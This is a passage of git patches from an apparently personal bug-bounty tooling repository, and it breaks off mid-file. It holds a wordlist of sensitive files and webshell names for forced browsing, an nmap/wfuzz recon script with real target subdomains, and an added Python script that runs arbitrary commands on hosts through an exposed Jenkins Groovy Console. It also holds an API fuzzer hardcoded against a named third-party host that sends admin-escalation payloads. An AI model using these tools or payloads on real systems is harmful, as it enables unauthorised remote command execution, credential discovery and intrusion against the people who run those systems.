-global.asax.bak -global.asax.old -global.asax.orig -global.asax.temp -global.asax.tmp -globals -globals.inc -grabbed.html -gradlew -Gruntfile.js -haproxy_stats -haproxy_stats1 -haproxy_stats2 -haproxy_stats3 -HEADER.txt -HISTORY -HISTORY.rst -home.rar -home.tar -home.tar.gz -home.zip -hosts -ht.access -htaccess.backup -htaccess.bak -htaccess.dist -htaccess.old -htaccess.txt -htgroup -html/config.rb -html/js/misc/swfupload/swfupload.swf -html/js/misc/swfupload/swfupload_f9.swf -htpasswd -htpasswd.bak -htpasswd/htpasswd.bak -httpd.conf -httpd.core -httpd.ini -httpd/logs/access.log -httpd/logs/access_log -httpd/logs/error.log -httpd/logs/error_log -i.php -i.tar -i.tar.bz2 -i.tar.gz -i.txt -i.zip -id_dsa -id_dsa.ppk -id_rsa -images/c99.php -images/Sym.php -import.php -import/ -inc/config.inc -inc/fckeditor/ -inc/tiny_mce/ -inc/tinymce/ -include/fckeditor/ -include/spaw2/dialogs/dialog.php -includes/adovbs.inc -includes/configure.php~ -includes/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp -includes/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx -includes/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php -includes/fckeditor/editor/filemanager/connectors/asp/connector.asp -includes/fckeditor/editor/filemanager/connectors/asp/upload.asp -includes/fckeditor/editor/filemanager/connectors/aspx/connector.aspx -includes/fckeditor/editor/filemanager/connectors/aspx/upload.aspx -includes/fckeditor/editor/filemanager/connectors/php/connector.php -includes/fckeditor/editor/filemanager/connectors/php/upload.php -includes/fckeditor/editor/filemanager/upload/asp/upload.asp -includes/fckeditor/editor/filemanager/upload/aspx/upload.aspx -includes/fckeditor/editor/filemanager/upload/php/upload.php -includes/js/tiny_mce/ -includes/swfupload/swfupload.swf -includes/swfupload/swfupload_f9.swf -includes/tiny_mce/ -includes/tinymce/ -index-bak -index-test.php -index.php-bak -index.php.bak -index.php3 -index.php4 -index.php5 -index.phps -index.php~ -index.sql -index.xml -info.json -info.php -info.txt -install -INSTALL -INSTALL.html -INSTALL.md -INSTALL.mysql -install.mysql.txt -INSTALL.mysql.txt -INSTALL.pgsql -install.pgsql.txt -INSTALL.pgsql.txt -install.php -install.sql -install.txt -INSTALL.txt -Install.txt -install/ -install/update.log -install1/ -install2/ -install_ -INSTALL_admin -installation.php -installed.json -installer -installer/ -install~/ -invoker/JMXInvokerServlet -ispmgr/ -javax.faces.resource.../WEB-INF/web.xml.jsf -jdbc -jira/ -jmx-console -jmx-console/ -jo.php -joomla.rar -joomla.xml -joomla.zip -js/elfinder/elfinder.php -js/FCKeditor -js/swfupload/swfupload.swf -js/swfupload/swfupload_f9.swf -js/tiny_mce/ -js/tinymce/ -jscripts/tiny_mce/ -jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php -jscripts/tinymce/ -jsp-examples/ -kcfinder/browse.php -killer.php -l0gs.txt -L3b.php -lander.logs -last.sql -lib/fckeditor/ -lib/fileupload/fileBrowser.php -lib/flex/uploader/.actionScriptProperties -lib/flex/uploader/.flexProperties -lib/flex/uploader/.project -lib/flex/uploader/.settings -lib/flex/varien/.actionScriptProperties -lib/flex/varien/.flexLibProperties -lib/flex/varien/.project -lib/flex/varien/.settings -lib/spaw2/dialogs/dialog.php -lib/tiny_mce/ -lib/tinymce/ -libraries/phpmailer/ -libraries/tiny_mce/ -libraries/tinymce/ -libs/spaw/dialogs/dialog.php -libs/spaw2/dialogs/dialog.php -LICENSE.txt -license.txt -lilo.conf -linkhub/linkhub.log -linktous.html -linusadmin-phpinfo.php -list_emails -lists/config -load.php -local.config.rb -local.properties -local.xml.additional -local.xml.template -local/.git/index -local/.gitignore -local/composer.lock -local/composer.phar -local_bd_new.txt -local_bd_old.txt -localhost.old -localhost.rar -localhost.rdb -localhost.sql -localhost.sqlite -localhost.tag.gz -localhost.tar -localhost.tar.bz2 -localhost.tar.gz -localhost.tgz -localhost.zipu -localsettings.php.bak -localsettings.php.dist -localsettings.php.old -localsettings.php.save -localsettings.php.swp -localsettings.php.templ -localsettings.php.txt -localsettings.php~ -log.htm -log.html -log.mdb -log.php -log.sqlite -log.txt -log/ -log/access.log -log/access_log -log/development.log -log/error.log -log/error_log -log/log.log -log/log.txt -log/production.log -log/server.log -log/test.log -log_1.txt -log_errors.txt -log_status_order.txt -logexpcus.txt -logfile -logfiles -login.php -logins.txt -logs -logs.htm -logs.html -logs.mdb -logs.sqlite -logs.txt -logs/ -logs/access.log -logs/access_log -logs/error.log -logs/error_log -logs/errors -logs/sendmail -logs_console/ -lol.php -ma/ -madspot.php -madspotshell.php -magmi/conf/magmi.ini -MAINTAINERS.txt -maintenance.flag -maintenance.flag.bak -maintenance.flag2 -maintenance.php -maintenance/ -maintenance/test.php -maintenance/test2.php -Makefile -manage.py -manager/ -manager/html -master.passwd -master/portquotes_new/admin.log -media/export-criteo.xml -member -memberlist -members -members.csv -members.log -members.mdb -members.sql -members.sql.gz -members.sqlite -members.txt -members.xls -membersonly -memoria -mercurial.ini -META-INF/context.xml -moadmin.php -moderator.php -moderator/ -modules/php/php.info -modules/spaw2/dialogs/dialog.php -mrtg.cfg -msql/ -mssql/ -mt-check.cgi -muracms.esproj -mw-config/ -myadm/ -MyAdmin/ -myadmin/ -myadmin/index.php -myadmin/scripts/setup.php -mybackup/ -mysql-admin/ -mysql.err -mysql.log -mysql.php -mysql.sql -mysql/ -mysql/adminer.php -mysql/scripts/setup.php -mysql_backups/ -mysql_debug.sql -mysqladmin/ -mysqladmin/scripts/setup.php -mysqldumper/ -mysqlitedb.db -mysqlmanager/ -nano.save -nb-configuration.xml -nbactions.xml -nbproject/ -nbproject/private/private.properties -nbproject/private/private.xml -nbproject/project.properties -nbproject/project.xml -New%20Folder -New%20folder%20(2) -new.php -nginx-access.log -nginx-error.log -nginx-ssl.access.log -nginx-ssl.error.log -nginx-status/ -nginx.conf -nginx_status -nohup.out -npm-debug.log -nst.php -nstview.php -odbc -old -old.htaccess -old.htpasswd -old/ -old_files -old_site/ -oldfiles -oracle -order.log -order.txt -order_add_log.txt -order_log -orders -orders.csv -orders.log -orders.sql -orders.sql.gz -orders.txt -orders.xls -orders_log -ospfd.conf -output-build.txt -p.php -p/m/a/ -package.json -painel/config/config.php.example -panel.php -panel/ -pass -pass.dat -pass.txt -passes.txt -passlist -passlist.txt -passwd -passwd.adjunct -passwd.bak -passwd.txt -Password -password -password.html -password.log -password.log‎ -password.mdb -password.sqlite -password.txt -passwords -passwords.html -passwords.mdb -passwords.sqlite -passwords.txt -pbmadmin/ -personal -personal.mdb -personal.sqlite -pgadmin -pgadmin.log -phinx.yml -php -php-backdoor.php -php-cgi.core -php-cli.ini -php-cs-fixer.phar -php-error -php-errors.log -php-info.php -php-my-admin/ -php-myadmin/ -php.core -php.ini -php.ini-orig.txt -php.ini.sample -php.ini_ -php.ini~ -php.lnk -php.log -php.php -php/phpmyadmin/ -php4.ini -php5.fcgi -php5.ini -php_cli_errors.log -php_error.log -php_error_log -php_errorlog -php_errors.log -php_info.php -phpadmin/ -phpadminmy/ -phperrors.log -phpin.php -phpinfo -phpinfo.php -phpinfo.php3 -phpinfo.php4 -phpinfo.php5 -phpini.bak -phpldapadmin -phpldapadmin/ -phpliteadmin.php -phpma/ -phpmanager/ -phpmem/ -phpmemcachedadmin/ -phpmy-admin/ -phpMy/ -phpmy/ -phpmyad/ -phpMyAdmin-2.10.0.0/ -phpMyAdmin-2.10.0.1/ -phpMyAdmin-2.10.0.2/ -phpMyAdmin-2.10.0/ -phpMyAdmin-2.10.1.0/ -phpMyAdmin-2.10.2.0/ -phpMyAdmin-2.11.0.0/ -phpMyAdmin-2.11.1-all-languages/ -phpMyAdmin-2.11.1.0/ -phpMyAdmin-2.11.1.1/ -phpMyAdmin-2.11.1.2/ -phpMyAdmin-2.2.3/ -phpMyAdmin-2.2.6/ -phpMyAdmin-2.5.1/ -phpMyAdmin-2.5.4/ -phpMyAdmin-2.5.5-pl1/ -phpMyAdmin-2.5.5-rc1/ -phpMyAdmin-2.5.5-rc2/ -phpMyAdmin-2.5.5/ -phpMyAdmin-2.5.6-rc1/ -phpMyAdmin-2.5.6-rc2/ -phpMyAdmin-2.5.6/ -phpMyAdmin-2.5.7-pl1/ -phpMyAdmin-2.5.7/ -phpMyAdmin-2.6.0-alpha/ -phpMyAdmin-2.6.0-alpha2/ -phpMyAdmin-2.6.0-beta1/ -phpMyAdmin-2.6.0-beta2/ -phpMyAdmin-2.6.0-pl1/ -phpMyAdmin-2.6.0-pl2/ -phpMyAdmin-2.6.0-pl3/ -phpMyAdmin-2.6.0-rc1/ -phpMyAdmin-2.6.0-rc2/ -phpMyAdmin-2.6.0-rc3/ -phpMyAdmin-2.6.0/ -phpMyAdmin-2.6.1-pl1/ -phpMyAdmin-2.6.1-pl2/ -phpMyAdmin-2.6.1-pl3/ -phpMyAdmin-2.6.1-rc1/ -phpMyAdmin-2.6.1-rc2/ -phpMyAdmin-2.6.1/ -phpMyAdmin-2.6.2-beta1/ -phpMyAdmin-2.6.2-pl1/ -phpMyAdmin-2.6.2-rc1/ -phpMyAdmin-2.6.2/ -phpMyAdmin-2.6.3-pl1/ -phpMyAdmin-2.6.3-rc1/ -phpMyAdmin-2.6.3/ -phpMyAdmin-2.6.4-pl1/ -phpMyAdmin-2.6.4-pl2/ -phpMyAdmin-2.6.4-pl3/ -phpMyAdmin-2.6.4-pl4/ -phpMyAdmin-2.6.4-rc1/ -phpMyAdmin-2.6.4/ -phpMyAdmin-2.6.5/ -phpMyAdmin-2.6.6/ -phpMyAdmin-2.6.9/ -phpMyAdmin-2.7.0-beta1/ -phpMyAdmin-2.7.0-pl1/ -phpMyAdmin-2.7.0-pl2/ -phpMyAdmin-2.7.0-rc1/ -phpMyAdmin-2.7.0/ -phpMyAdmin-2.7.5/ -phpMyAdmin-2.7.6/ -phpMyAdmin-2.7.7/ -phpMyAdmin-2.8.0-beta1/ -phpMyAdmin-2.8.0-rc1/ -phpMyAdmin-2.8.0-rc2/ -phpMyAdmin-2.8.0.1/ -phpMyAdmin-2.8.0.2/ -phpMyAdmin-2.8.0.3/ -phpMyAdmin-2.8.0.4/ -phpMyAdmin-2.8.0/ -phpMyAdmin-2.8.1-rc1/ -phpMyAdmin-2.8.1/ -phpMyAdmin-2.8.2.3/ -phpMyAdmin-2.8.2/ -phpMyAdmin-2.8.3/ -phpMyAdmin-2.8.4/ -phpMyAdmin-2.8.5/ -phpMyAdmin-2.8.6/ -phpMyAdmin-2.8.7/ -phpMyAdmin-2.8.8/ -phpMyAdmin-2.8.9/ -phpMyAdmin-2.9.0-rc1/ -phpMyAdmin-2.9.0.1/ -phpMyAdmin-2.9.0.2/ -phpMyAdmin-2.9.0/ -phpMyAdmin-2.9.1/ -phpMyAdmin-2.9.2/ -phpMyAdmin-2/ -phpMyAdmin-3.0.0-rc1-english/ -phpMyAdmin-3.0.0.0-all-languages/ -phpMyAdmin-3.0.1.0-english/ -phpMyAdmin-3.0.1.0/ -phpMyAdmin-3.0.1.1/ -phpMyAdmin-3.1.0.0-english/ -phpMyAdmin-3.1.0.0/ -phpMyAdmin-3.1.1.0-all-languages/ -phpMyAdmin-3.1.2.0-all-languages/ -phpMyAdmin-3.1.2.0-english/ -phpMyAdmin-3.1.2.0/ -phpMyAdmin-3.4.3.1/ -phpMyAdmin-4.0.10.10-all-languages/ -phpMyAdmin-4.0.10.10-english/ -phpMyAdmin-4.3.13.3-all-languages/ -phpMyAdmin-4.3.13.3-english/ -phpMyAdmin-4.4.14.1-all-languages/ -phpMyAdmin-4.4.14.1-english/ -phpMyAdmin-4.5.0-rc1-all-languages/ -phpMyAdmin-4.5.0-rc1-english/ -phpmyadmin.backup/ -phpMyAdmin/ -phpmyadmin/ -phpMyAdmin/scripts/setup.php -phpmyadmin/scripts/setup.php -phpMyAdmin0/ -phpmyadmin0/ -phpMyAdmin1/ -phpmyadmin1/ -phpmyadmin2/ -phpMyAdmin2/ -phpmyadmin3/ -phpMyAdmin3/ -phpMyAdmin4/ -phpMyAdminBackup/ -phpPgAdmin/ -phppgadmin/ -phpRedisAdmin/ -phpredmin/ -phpsecinfo/ -phpsysinfo/ -phpThumb.php -phpThumb/ -phpunit.phar -phpunit.xml -phpunit.xml.dist -phymyadmin/ -pi.php -pi.php5 -pinfo.php -pip-log.txt -plugins.log -plugins/editors/fckeditor -plugins/fckeditor -plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload.swf -plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload_f9.swf -plugins/spaw2/dialogs/dialog.php -plugins/tiny_mce/ -plugins/tinymce/ -plugins/upload.php -plugins/web.config -plupload -pma/ -PMA/ -pma/index.php -pma/scripts/setup.php -PMA2005/ -pma2005/ -pma4/ -pmadmin/ -pmyadmin/ -pom.xml -prefetch.txt -priv8.php -private.key -private.mdb -private.sqlite -proftpdpasswd -project.pbxproj -project.xml -propel.ini -prv/ -public/spaw2/dialogs/dialog.php -publication_list.xml -pw.txt -pwd.db -pws.txt -qa/ -query.log -r.php -r00t.php -r57.php -r57eng.php -r57shell.php -r58.php -r99.php -Read -Read%20Me.txt -read.me -Read_Me.txt -README -readme -README.htm -readme.html -README.md -README.txt -Readme.txt -readme.txt -recentservers.xml -register.php -RELEASE_NOTES.txt -remote.php/webdav/ -request.log -reseller -resources.xml -resources/fckeditor -restore.php -restricted -revision.inc -revision.txt -RootCA.crt -rst.php -sa.php -sa2.php -sales.csv -sales.log -sales.sql -sales.sql.gz -sales.txt -sales.xls -sample.txt -sample.txt~ -schema.sql -schema.yml -scripts/ckeditor/ckfinder/core/connector/asp/connector.asp -scripts/ckeditor/ckfinder/core/connector/aspx/connector.aspx -scripts/ckeditor/ckfinder/core/connector/php/connector.php -scripts/setup.php -searchreplacedb2.php -searchreplacedb2cli.php -Secret/ -secret/ -secrets/ -secring.bak -secring.pgp -secring.skr -sentemails.log -serv-u.ini -server-info -server-status/ -server.cfg -server.log -Server.php -server.xml -Server/ -servers/ -service.asmx -services -servlet/Oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml -servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml -servlet/Oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml -servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml -session/ -sessions/ -settings.bak -settings.dist -settings.ini -settings.old -settings.php -settings.php.bak -settings.php.dist -settings.php.old -settings.php.save -settings.php.swp -settings.php.templ -settings.php.txt -settings.php1 -settings.php2 -settings.php~ -settings.py -settings.save -settings.swp -settings.txt -settings.xml -settings/ -setup.php -setup.sql -setup/ -sftp-config.json -Sh3ll.php -shell.php -shell/ -shellz.php -shop.sql -signup.action -simple-backdoor.php -site.rar -site.sql -site.tar.gz -site.txt -site/common.xml -site_admin -siteadmin -sites.ini -slapd.conf -soap/ -soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml -soapserver/ -source.php -spaw/dialogs/dialog.php -spaw2/dialogs/dialog.php -spec/lib/database.yml -spec/lib/settings.local.yml -spwd.db -spy.aspx -sql.inc -sql.php -sql.sql -sql.tar -sql.tgz -sql.txt -sql.zip -sql/ -sql/db.sql -sql/index.php -sql_dumps -sql_error.log -sqladm -sqladmin -sqlbuddy -sqlbuddy/login.php -sqlmanager/ -sqlmigrate.php -sqlnet.log -sqlweb/ -ss_database_backup.sql -stat/ -statistics/ -stats -stats/ -status.php -STATUS.txt -status.xsl -status/ -statusicon/ -stronghold-info -stronghold-status -stub-status -sugarcrm.log -surgemail/ -surgemail/mtemp/surgeweb/tpl/shared/modules/swfupload.swf -surgemail/mtemp/surgeweb/tpl/shared/modules/swfupload_f9.swf -svn.revision -SVN/ -svn/ -swfupload -sxd/ -sxd/backup/ -sYm.php -Sym.php -sym/root/home/ -symfony/apps/frontend/config/routing.yml -symfony/apps/frontend/config/settings.yml -symfony/config/databases.yml -Symlink.php -Symlink.pl -symphony/apps/frontend/config/app.yml -symphony/apps/frontend/config/databases.yml -symphony/config/app.yml -symphony/config/databases.yml -sysadmin -sysadmin.php -sysadmins -sysadmins/ -sysbackup -syslog/ -system.log -system/cron/cron.txt -system/error.txt -system/log/ -system/logs/ -t00.php -tar -tar.bz2 -tar.gz -technico.txt -telphin.log -temp.php -TEMP/ -temp/ -template/ -templates/ -templates/beez/index.php -templates/ja-helio-farsi/index.php -templates/rhuk_milkyway/index.php -test -test.asp -test.aspx -test.chm -test.htm -test.html -test.jsp -test.mdb -test.php -test.sqlite -test.txt -test/ -test0.php -test1.php -test123.php -test2.php -test3.php -test4.php -test5.php -test6.php -test7.php -test8.php -test9.php -test_ -test_ip.php -tests -tests/phpunit_report.xml -Thumbs.db -tiny_mce/ -tiny_mce/plugins/filemanager/examples.html -tiny_mce/plugins/imagemanager/pages/im/index.html -tinymce/ -TMP -tmp -tmp/ -tmp/2.php -tmp/access.log -tmp/access_log -tmp/admin.php -tmp/cgi.pl -tmp/Cgishell.pl -tmp/changeall.php -tmp/cpn.php -tmp/d.php -tmp/d0maine.php -tmp/domaine.php -tmp/domaine.pl -tmp/dz.php -tmp/dz1.php -tmp/error.log -tmp/error_log -tmp/index.php -tmp/killer.php -tmp/L3b.php -tmp/madspotshell.php -tmp/priv8.php -tmp/root.php -tmp/sessions/ -tmp/sql.php -tmp/Sym.php -tmp/up.php -tmp/upload.php -tmp/uploads.php -tmp/user.php -tmp/vaga.php -tmp/whmcs.php -tmp/xd.php -TODO -tools -tools/_backups/ -Trace.axd -Trace.axd::$DATA -tst -typo3/phpmyadmin/ -typo3/phpmyadmin/scripts/setup.php -uber/phpMemcachedAdmin/ -uber/phpMyAdmin/ -uber/phpMyAdminBackup/ -unattend.txt -up.php -UPDATE.txt -updates -UPGRADE -upgrade.php -UPGRADE.txt -upl.php -Upload -upload.asp -upload.aspx -upload.cfm -upload.htm -upload.html -upload.php -upload.php3 -upload.shtm -upload/ -upload/1.php -upload/b_user.csv -upload/b_user.xls -upload/test.php -upload/test.txt -upload/upload.php -upload2.php -upload_file.php -uploadarticles/uploadTester.asp -uploader.php -uploader/ -uploadfile.php -uploadfiles.php -uploadify.php -uploadify/ -uploadify/uploadify.swf -uploads.php -uploads/ -upstream_conf -ur-admin.php -user.php -user.txt -user_guide -user_uploads -useradmin -useradmin/ -usercp2.php -UserFile -UserFiles -userfiles -usernames.txt -users.csv -users.db -users.ini -users.log -users.mdb -users.php -users.sql -users.sql.gz -users.sqlite -users.txt -users.xls -users/ -vagrant-spec.config.rb -Vagrantfile -validator.php -var/backups/ -var/debug.log -var/log/ -var/logs/ -vb.rar -vb.sql -vb.zip -VERSION.txt -view.php -vtund.conf -wcx_ftp.ini -web-console/ -web-console/Invoker -web-console/ServerInfo.jsp -WEB-INF./web.xml -WEB-INF/config.xml -WEB-INF/web.xml -web.config -web.config.bak -web.config.bakup -web.config.old -web.config.temp -web.config.tmp -web.config.txt -web.config::$DATA -Web.Debug.config -web.Debug.config -Web.Release.config -web.Release.confiп -web/phpMyAdmin/ -web/phpMyAdmin/scripts/setup.php -web/scripts/setup.php -webacula/application/config.ini -webadmin -webadmin.html -webadmin.php -webadmin/ -webdav/ -webdav/index.html -webdav/servlet/webdav/ -webdb/ -webgrind -webmail/ -webmail/src/configtest.php -webmin/ -webpack.config.js -webpack.config.node.js -webservice/AutoComplete.amx -website.git -websql/ -webstat/ -webstats.html -webstats/ -whmcs.php -whmcs/downloads/dz.php -wp-admin/c99.php -wp-admin/setup-config.php -wp-app.log -wp-command.php -wp-config.bak -wp-config.dist -wp-config.inc -wp-config.old -wp-config.php.bak -wp-config.php.dist -wp-config.php.inc -wp-config.php.old -wp-config.php.save -wp-config.php.swp -wp-config.php.templ -wp-config.php.txt -wp-config.php1 -wp-config.php2 -wp-config.php~ -wp-config.save -wp-config.swp -wp-config.txt -wp-content/backup-db/ -wp-content/backups/ -wp-content/debug.log -wp-content/plugins/akismet/admin.php -wp-content/plugins/akismet/akismet.php -wp-content/plugins/count-per-day/js/yc/d00.php -wp-content/plugins/disqus-comment-system/disqus.php -wp-content/plugins/google-sitemap-generator/sitemap-core.php -wp-content/uploads/ -wp-register.php -wp.php -wp.rar/ -wp.sql -wp.zip -wp.zip/nwp-content/plugins/disqus-comment-system/disqus.php -ws.php -ws/api_test.php -ws_ftp.ini -WS_FTP.LOG -WSO.php -wso.php -wso2.5.1.php -wso2.php -wso2_pack.php -wvdial.conf -wwwboard/passwd.txt -wwwstats.htm -x.php -xampp/phpmyadmin/ -xampp/phpmyadmin/scripts/setup.php -xd.php -xls/ -xml/_common.xml -xml/common.xml -xmlrpc_server.php -xphperrors.log -xphpMyAdmin/ -xsl/ -xsl/_common.xsl -xsl/common.xsl -xsql/lib/XSQLConfig.xml -zabbix/ -zebra.conf -zehir.php -zeroclipboard.swf -zm_cms/spaw2/dialogs/dialog.php -zone-h.php -~install/ diff --git a/recon/recon.sh b/recon/recon.sh deleted file mode 100755 index 9105548..0000000 --- a/recon/recon.sh +++ /dev/null @@ -1,75 +0,0 @@ -#!/bin/bash -# recon - basic recon of bugbounty target scope -# by bl4de | https://twitter.com/_bl4de - -# params -SUBDOMAINS=$1 -DICTIONARY=$2 - -mkdir out -OUTPUT_DIR=./out - -echo -echo " usage: ./recon.sh [subdomains list] [dictionary file]" -echo -echo " subdomains list - file with list of subdomains, if you have one" -echo " dictionary file - optional; paht to dictionary used for files/dirs enumeration" -echo " dict.txt is used by default" -echo - -if [ -z $2 ] -then - # enter path to default dictionary for enumeration you want to use - DICTIONARY=/Users/bl4de/hacking/tools/bl4de/recon/dict.txt -else - DICTIONARY=$3 -fi -echo "[+] using $DICTIONARY as dictionary file for files/dirs enumeration" - -echo "[+] running recon.sh against $TARGET, please stand by..." -# # enumerate subdomains -# if [ -z $2 ] -# then -# echo "[+] execute sublist3r $TARGET saving output to $TARGET_out file..." -# sublist3r -d $TARGET > $TARGET"_out" -# echo "[+] small sed-ing..." -# cat $TARGET"_out" | sed -e 's/\[92//;1,24d' > $TARGET"_subdomains" -# SUBDOMAINS=$TARGET"_subdomains" -# else -# echo "[+] using $2 as subdomains list" -# SUBDOMAINS=$2 -# fi - -# nmap -echo "[+] scanning and directories/files discovery" -while read DOMAIN; do - echo "[+] current target: $DOMAIN" - nmap -sV -F $DOMAIN -oG $OUTPUT_DIR/$DOMAIN"_nmap" 1> /dev/null - - while read line; do - if [[ $line == *"80/open/tcp//http"* ]] - then - echo "[+] found webserver on $DOMAIN port 80/HTTP, running files/directories discovery..." - wfuzz -f $OUTPUT_DIR/$DOMAIN"_wfuzz_80",raw --hc 404,301,302,401,000 -w $DICTIONARY http://$DOMAIN/FUZZ 1>/dev/null - fi - if [[ $line == *"443/open/tcp//http"* ]] - then - echo "[+] found webserver on $DOMAIN port 443/HTTPS, running files/directories discovery..." - wfuzz -f $OUTPUT_DIR/$DOMAIN"_wfuzz_443",raw --hc 404,301,302,401,000 -w $DICTIONARY https://$DOMAIN/FUZZ 1>/dev/null - fi - # if [[ $line == *"8080/open/tcp//http"* ]] - # then - # echo "[+] found webserver on $DOMAIN port 8080/HTTP, running files/directories discovery..." - # wfuzz -f $OUTPUT_DIR/$DOMAIN"_wfuzz_8080",raw --hc 404,301,302,401,000 -w $DICTIONARY http://$DOMAIN:8080/FUZZ 1>/dev/null - # fi - # if [[ $line == *"8008/open/tcp//http"* ]] - # then - # echo "[+] found webserver on $DOMAIN port 8008/HTTP, running files/directories discovery..." - # wfuzz -f $OUTPUT_DIR/$DOMAIN"_wfuzz_8008",raw --hc 404,301,302,401,000 -w $DICTIONARY http://$DOMAIN:8008/FUZZ 1>/dev/null - # fi - done < $OUTPUT_DIR/$DOMAIN"_nmap" -done < $SUBDOMAINS - -echo "[+] all done!!!" -echo -exit \ No newline at end of file diff --git a/recon/tests b/recon/tests deleted file mode 100644 index 13f731d..0000000 --- a/recon/tests +++ /dev/null @@ -1,3 +0,0 @@ -uspa-vpn.symphony.com -www.uspa-vpn.symphony.com -vcmllp.symphony.com diff --git a/recon/tests_subdomains b/recon/tests_subdomains deleted file mode 100644 index 13f731d..0000000 --- a/recon/tests_subdomains +++ /dev/null @@ -1,3 +0,0 @@ -uspa-vpn.symphony.com -www.uspa-vpn.symphony.com -vcmllp.symphony.com From c8362c16ce6558b01a2293e4c6327a965e568f91 Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Mon, 11 Feb 2019 15:26:10 +0000 Subject: [PATCH 042/460] Jenkins Groovy Console cmd runner --- jgc.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100755 jgc.py diff --git a/jgc.py b/jgc.py new file mode 100755 index 0000000..71a8504 --- /dev/null +++ b/jgc.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python +import requests +import sys + +print """ +Jenkins Groovy Console cmd runner. + +usage: ./jgc.py [HOST] + +Then type any command and wait for STDOUT output from remote machine. +Type 'exit' to exit :) +""" +URL = sys.argv[1] + '/scriptText' +HEADERS = { + 'User-Agent': 'jgc' +} + +while 1: + CMD = raw_input(">> Enter command to execute (or type 'exit' to exit): ") + if CMD == 'exit': + print "exiting...\n" + exit(0) + + DATA = { + 'script': 'println "{}".execute().text'.format(CMD) + } + result = requests.post(URL, headers=HEADERS, data=DATA) + print result.text From b9b8dd4efc63b25d559c5f43986f4bb7335ba584 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 11 Feb 2019 20:27:30 +0000 Subject: [PATCH 043/460] Removed tools I am not going to work on --- apibreaker/apibreaker.py | 176 ----------------------- apibreaker/endpoints.txt | 174 ----------------------- apibreaker/params.txt | 292 --------------------------------------- brutus/README.md | 11 -- brutus/brutus.py | 100 -------------- brutus/passwords_100.txt | 119 ---------------- brutus/usernames_14.txt | 14 -- ds-store-parser.py | 7 - 8 files changed, 893 deletions(-) delete mode 100755 apibreaker/apibreaker.py delete mode 100644 apibreaker/endpoints.txt delete mode 100644 apibreaker/params.txt delete mode 100644 brutus/README.md delete mode 100755 brutus/brutus.py delete mode 100644 brutus/passwords_100.txt delete mode 100644 brutus/usernames_14.txt delete mode 100644 ds-store-parser.py diff --git a/apibreaker/apibreaker.py b/apibreaker/apibreaker.py deleted file mode 100755 index a3faec9..0000000 --- a/apibreaker/apibreaker.py +++ /dev/null @@ -1,176 +0,0 @@ -#!/usr/bin/python -# -# REST API bubgounty tool -# -# bl4de | twitter.com/_bl4de | hackerone.com/bl4de | -# github.com/bl4de - - -# @TODO -# - colorful output based on HTTP Response code, content etc. -# - arguments parser -# - recursive paths, eg.: /news -> /news/add, /news/delete etc. -# - save output to file -# - add common endpoints and common GET params dictionaries as default - -import requests - -# make script arguments from these here: -HOSTNAME = 'cdc-tool.roche.com' -api_url = HOSTNAME + '/api/' -USER_AGENT = 'bl4de/HackerOne' -SCHEMA = 'https://' - -be_verbose = True -last_response_size = 0 - -# HTTP methods -HTTP_METHODS = [ - 'HEAD', - 'GET', - 'POST', - 'PUT', - 'DELETE', - 'TRACE', - 'FAKE' -] - -JSON_PAYLOAD = '{"user": "1", "role": "admin", "debug": "true", \ - "verbose": "true", "": "", "key_no_value": "", "": "value_no_key"}' - -XML_PAYLOAD = """ - - - Admin - admininstartor - true - 1 - - -""" - - -HEADERS = { - "Host": HOSTNAME, - "User-Agent": USER_AGENT, - "Accept": "*/*" -} - -api_url = SCHEMA + api_url - - -def prepare_dictonaries(): - get_params = open('params.txt', 'r').readlines() - - # hardcoded for tests - get_params = [ - 'debug', - 'info' - ] - - wordlist = open('endpoints.txt', 'r').readlines() - - # hardcoded for tests - wordlist = ['user'] - - return [wordlist, get_params] - - -def print_response(url, method, resp, msg=""): - global be_verbose - global last_response_size - - if len(resp.content) != last_response_size: - print "{} to {} {} HTTP {}: \t\t\t\tresponse size: {}".format( - method, url, resp.status_code, msg, len(resp.content)) - last_response_size = len(resp.content) - if be_verbose == True and len(resp.content) > 0: - print "-- Response content --" + "-" * 78 - print "\n{}\n".format(resp.content) - print "\n" + "-" * 100 + "\n" - -def enumerate_endpoints(api_url, wordlist): - print "[+] enumerating existing endpoints using dictionary with {} names...".format(len(wordlist)) - c = 0 - enumerated = [] - for w in wordlist: - resp = requests.get(api_url + w.strip(), headers=HEADERS) - if True or resp.status_code == 200: - enumerated.append(w.strip()) - c = c + 1 - - if c == 0: - print "[-] no valid endpoints found at this url. Not much more can be done, so quitting now :/\n" - exit(0) - - print "[+] done! Found {} valid endpoints.".format(c) - return enumerated - - -def send_requests(enumerated_endpoints, get_params): - print "[+] sending HTTP requests to previously identified {} endpoints. This migth take a while...\n\n".format( - len(enumerated_endpoints)) - - c = 0 - for w in enumerated_endpoints: - for http_method in HTTP_METHODS: - - if http_method == 'GET': - c = c + 1 - resp = requests.get(api_url + w, headers=HEADERS) - print_response(api_url + w, http_method, resp) - - for param in get_params: - c = c + 1 - url = api_url + w + '?{}=google.ie'.format(param.strip()) - resp = requests.get(url, headers=HEADERS) - print_response(url, http_method, resp) - - if http_method == 'HEAD': - c = c + 1 - resp = requests.head(api_url + w, headers=HEADERS) - print_response(api_url + w, http_method, resp) - - if http_method == 'POST': - c = c + 2 - # application/xml - HEADERS['Content-Type'] = 'application/xml' - resp = requests.post( - api_url + w, headers=HEADERS, data=XML_PAYLOAD) - print_response(api_url + w, http_method, - resp, " with XML payload") - - # application/json - HEADERS['Content-Type'] = 'application/json' - resp = requests.post( - api_url + w, headers=HEADERS, data=JSON_PAYLOAD) - print_response(api_url + w, http_method, - resp, " with JSON payload") - - if http_method == 'PUT': - 